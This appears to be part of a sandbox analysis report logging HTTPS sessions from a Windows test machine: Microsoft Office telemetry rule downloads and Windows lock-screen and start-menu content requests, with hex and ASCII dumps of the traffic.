2024-11-20 13:43:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134341Z-r1d97b99577sdxndhC1TEBec5n0000000940000000003z25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134341Z-1777c6cb7549j9hhhC1TEBzmcc00000009q0000000000xv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49861	20.74.47.205	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:41 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134336Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=eb1437f5d811435fba9c82ef2a7edaf6&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593725&metered=false&nettype=ethernet&npid=sc-338388&oemName=tgwigv%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=tgwigv20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593725&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAED5pDnztdUryTXAEGPjYQfuwAWlGUcRai73a7r5xMG2zxcZpVAXX5llhg8OdgRe1TgPeecEKNGgmLiDuIIn1CI1mJvHNaWMK3JMPumi5Rfj7cmNyDEzOwx28pJyId/5SUJgZ3GIsZX2Q1jGnW4Fd6Hivl6My/TuGnhxPLXclpaL2KTjhqEwIQomMErauaMUUzM1EGMXqrdTfgsIM1N3XfM78I/tKTIBF+P0Jj08gPesyTRLRedwPKP3ztxjJeiSupLApW9ddMltxmvf0oz0a6yO493v/zdcmS7xR6iiMhnU5Ih11HaDbr43KO4OPpVctoL9zWqrL+sn8e6UdeY2/b/vESKrB8pKnTSR2JZbsWhMsHoEtrRuIqg6Ehaq3fTz+3NdaQmChAhkFDnQQmLJywaUwh2TEwoTZTmcKtS4j1iqInGS1yICkbfzWceTWjK7/C+0tcUSCUBWBviRa2PQfjqXHpQOOGWoaKhoY1Z386ZdZ2EKVzA2gQADPnFh8pP56V6ZtzlkeHl+gtJelpQQhOZmYqUzUaX2g1YiXGpJYr8/p61dTlapUY8AlhTiLVGIR8d5V+btFVOF5QobBYVWFlNV1R9cB&p= Cache-Control: no-cache MS-CV: CzB60w2eHkK1sm1w.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 13:43:42 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3611 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: ArPHPRIaqtnwP3UpzgglJnGE6GFwMEHL9g4ptIcGEbcvpa0ac1ceSXV/WzVWPvAIDSUOULpUlnR5X1tJNkeZ30N15kru49eoflc7+NBHiU9nFOjsHeDp+Rzc1M7VAGEDdatB2UKFdnLUofrC+uCv4mQvcXHzjxuHIMY0eJbc1rcNw1JZXId1C4Pk70pPf15H7NOrOmyXtzU2GuMnXRIystvjd9LtMPG5ucUSUWt+ekMUUskBDtkJQqdHl/hjAapGGxZVHGBMr6A8b/gyKLMfUMxLyx2NCX00GXczPZ/I+aRdS/Z7pS/Yl5PsLrA04/EpsIY/smAdzZEqYpmZ7T9FSg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:41 GMT Connection: close
2024-11-20 13:43:42 UTC	3611	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49862	20.74.47.205	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:41 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134336Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=747ec0b6670d4c7685ef6912321f6629&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593725&metered=false&nettype=ethernet&npid=sc-338387&oemName=tgwigv%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=tgwigv20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593725&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAED5pDnztdUryTXAEGPjYQfuwAWlGUcRai73a7r5xMG2zxcZpVAXX5llhg8OdgRe1TgPeecEKNGgmLiDuIIn1CI1mJvHNaWMK3JMPumi5Rfj7cmNyDEzOwx28pJyId/5SUJgZ3GIsZX2Q1jGnW4Fd6Hivl6My/TuGnhxPLXclpaL2KTjhqEwIQomMErauaMUUzM1EGMXqrdTfgsIM1N3XfM78I/tKTIBF+P0Jj08gPesyTRLRedwPKP3ztxjJeiSupLApW9ddMltxmvf0oz0a6yO493v/zdcmS7xR6iiMhnU5Ih11HaDbr43KO4OPpVctoL9zWqrL+sn8e6UdeY2/b/vESKrB8pKnTSR2JZbsWhMsHoEtrRuIqg6Ehaq3fTz+3NdaQmChAhkFDnQQmLJywaUwh2TEwoTZTmcKtS4j1iqInGS1yICkbfzWceTWjK7/C+0tcUSCUBWBviRa2PQfjqXHpQOOGWoaKhoY1Z386ZdZ2EKVzA2gQADPnFh8pP56V6ZtzlkeHl+gtJelpQQhOZmYqUzUaX2g1YiXGpJYr8/p61dTlapUY8AlhTiLVGIR8d5V+btFVOF5QobBYVWFlNV1R9cB&p= Cache-Control: no-cache MS-CV: CzB60w2eHkK1sm1w.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 13:43:42 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23336 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: StqeLCh0SSomgzFci8aidjMOQDHLiv8Hq9F4D6Ga+VjZG/XRIgPPLHrK9g36e88VKVkdwLxjxFSHTaQibWvlqaq1GJjVuwF/OYiyA3MY0pGKZA8EXRlOhvMWHamkmBc9Kld9RtEuHgzoAWIyU1cdKSJ4xhxt77GUgJCsdV+wN4w+HfeAFDktjDRwE8cekWCrcS5gBIZ/ZhHuwPYfcPsL4S9fZTu7yEC+VNjG99gcQRvdkJdghMpjYtx9gLJvnWnl0/9WC1aK3J5gKpepVbyqxQ3GhRf+BwrpjR3/czAI8Y/zj5dbLR46HF8c1Bbi7R3e36oWrmunbXRNa52YeNZtyg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:42 GMT Connection: close
2024-11-20 13:43:42 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-20 13:43:42 UTC	7767	IN	Data Raw: 65 61 6e 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 37 32 34 36 39 33 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 30 38 30 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 30 6f 4e 52 64 67 58 5c 2f 35 67 77 42 70 4b 76 5a 70 49 58 63 48 5c 2f 66 64 55 44 69 58 53 36 33 37 48 54 79 78 36 68 44 6e 42 4c 45 3d 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 39 32 30 2c 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 74 73 65 31 2e 6d 6d 2e 62 69 6e 67 2e 6e 65 74 5c 2f 74 68 3f 69 64 3d 4f 41 44 44 32 2e 31 30 32 33 39 33 39 31 33 38 39 Data Ascii: ean\"},\"onRender\":{\"type\":\"action\"}},\"properties\":{\"landscapeImage\":{\"fileSize\":724693,\"height\":1080,\"sha256\":\"0oNRdgX\/5gwBpKvZpIXcH\/fdUDiXS637HTyx6hDnBLE=\",\"width\":1920,\"image\":\"https:\/\/tse1.mm.bing.net\/th?id=OADD2.10239391389

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49863	20.74.47.205	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:41 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T134337Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=78c8d0c4fa854817a87caf07fb580610&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593725&metered=false&nettype=ethernet&npid=sc-280815&oemName=tgwigv%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=tgwigv20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593725&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAED5pDnztdUryTXAEGPjYQfuwAWlGUcRai73a7r5xMG2zxcZpVAXX5llhg8OdgRe1TgPeecEKNGgmLiDuIIn1CI1mJvHNaWMK3JMPumi5Rfj7cmNyDEzOwx28pJyId/5SUJgZ3GIsZX2Q1jGnW4Fd6Hivl6My/TuGnhxPLXclpaL2KTjhqEwIQomMErauaMUUzM1EGMXqrdTfgsIM1N3XfM78I/tKTIBF+P0Jj08gPesyTRLRedwPKP3ztxjJeiSupLApW9ddMltxmvf0oz0a6yO493v/zdcmS7xR6iiMhnU5Ih11HaDbr43KO4OPpVctoL9zWqrL+sn8e6UdeY2/b/vESKrB8pKnTSR2JZbsWhMsHoEtrRuIqg6Ehaq3fTz+3NdaQmChAhkFDnQQmLJywaUwh2TEwoTZTmcKtS4j1iqInGS1yICkbfzWceTWjK7/C+0tcUSCUBWBviRa2PQfjqXHpQOOGWoaKhoY1Z386ZdZ2EKVzA2gQADPnFh8pP56V6ZtzlkeHl+gtJelpQQhOZmYqUzUaX2g1YiXGpJYr8/p61dTlapUY8AlhTiLVGIR8d5V+btFVOF5QobBYVWFlNV1R9cB&p= Cache-Control: no-cache MS-CV: CzB60w2eHkK1sm1w.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-20 13:43:42 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2937 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: qkpjebyChkPi74U/5/GUj2vwE7kr4OWIIloCBaH+XSEFTpgqa1Hl3obG7jnX7WZv0r3TxpwARE3NgrTwiF6AIEfCFe/sSmohQPdwFqMNDw9P2KfPije5tde4xRkim8sb7rYLRj0wmwl8qVQy3eWStRVlbQnP5pknD77rUnBug/uFswv8bwyUyvFaoMwed0UIszpkQw+9xyHcjm3xkMAUBXoLrhDJVhnLYRE0ySU31F885DFJpnRMQEZEAFJepJO2YhLQzs3mAQn5zuLC98fLNPm352JPfdMIspiM5vtiLYutpTx/+Cygk82R6OXTmZS0+xox2+cnYXAmcXugQHKUiA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:41 GMT Connection: close
2024-11-20 13:43:42 UTC	2937	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:42 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
